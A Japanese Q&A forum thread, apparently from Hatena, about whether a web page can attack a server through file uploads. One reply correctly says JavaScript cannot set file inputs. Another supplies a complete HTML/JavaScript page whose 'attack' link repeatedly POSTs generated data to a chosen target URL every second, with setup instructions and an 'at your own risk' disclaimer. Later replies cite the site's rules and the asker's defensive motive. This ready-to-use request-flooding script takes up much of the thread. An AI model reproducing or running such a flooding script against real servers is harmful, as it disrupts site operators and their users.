No.3の方の解説には間違いがありますね。
file型input要素には、Javascriptからアップロードファイルを設定することができません。もちろんセキュリティ上の理由からの制限で、質問者様が危惧なさっているとおりの事態を避けるためのものです。
というわけで、HTML+Javascriptのみに限って言えばご質問のような攻撃は不可能です。FLASHが絡んだ場合のことはちょっと守備範囲外ですのでどなたかフォローを。
基本的にできません。
ファイルをアップロードするには、CGIなどのサーバーのプログラムが必要になります。(話それてるー!)
理由は、サーバーは、アクセス権限がないと入るのはできないからです。
CGIは、パーミッションと呼ばれる権限を持っているので大丈夫です。
サーバーにそのようなプログラムがあれば
htmlファイルを作って(テキストなんで、新規作成から新規テキストファイルをえらんで、拡張子を変える 拡張子の変え方は「http://ratan.dyndns.info/win/kakutyoushi.html」などを参考に)
↓テキスト(HTML)ファイル中身↓(自作)
<html><head><script type="text/javascript"><!-- set1=1000;//アクセスする間隔(ミリ秒 1000分の1秒) 小さくしすぎるとサーバーだけでなくPCやインターネット回線が..... set2="http://ここは変えてね/";//URL (攻撃のまと) set3=256;//ランダムで生成されるファイルの大きさ (大きくしすぎるとサーバーだけでなくPCやインターネット回線が..... set4="POST";//メソッド、GETかPOSTがある function on(){var dat="";for(var i=0;i<set3;i++){if(i<Math.sqrt(set3)) dat+="%0"+i.toString(16);else dat+="%"+i.toString(16);};var f=document.createElement("form");document.body.appendChild(f);f.action=set2;f.method=set4;f.target="at";var inp=document.createElement("input");f.appendChild(inp);inp.name="data";inp.value=dat;sub=function(){f.submit();};setInterval("sub()",set1);}; //--></script><title>保存テスト</title></head><body> <a href="javascript:on();void(0);">アタック</a> 攻撃サイト<iframe src="" name="at" width="200" height="150">この部分はインラインフレームを使用しています。</iframe> </body></html>
↑終わり↑
で、ブラウザで開いて、「アタック」をクリック!
ブラウザやパソコン、インターネット回線、(WEBサーバー)に迷惑をかけるので、自己責任で。
キャンセルした方がいいのではないでしょうか?
http://q.hatena.ne.jp/help/guideline
---------------------------------------------------------------
2.下記のような迷惑行為・嫌がらせ行為を行ってはいけません
vi.不快感を与える回答、公序良俗に反する回答を募る質問を投稿する行為
3.下記のような公序良俗に反する行為を行ってはいけません
i.倫理的に問題がある低俗、有害、下品な内容を投稿する行為、およびそのような内容の投稿を募る行為
v.犯罪行為、違法行為を教唆する内容を投稿する行為、およびそのような内容の投稿を募る行為
攻撃方法をわからなければ対策方法を考えることができないと思ったからです。
もちろん、ファイルアップロードの攻撃があるのであれば、対策方法を聞くのが一番ですが
そういう攻撃自体を聞いたことがなかったので、あえてまず攻撃方法としくみを質問しました。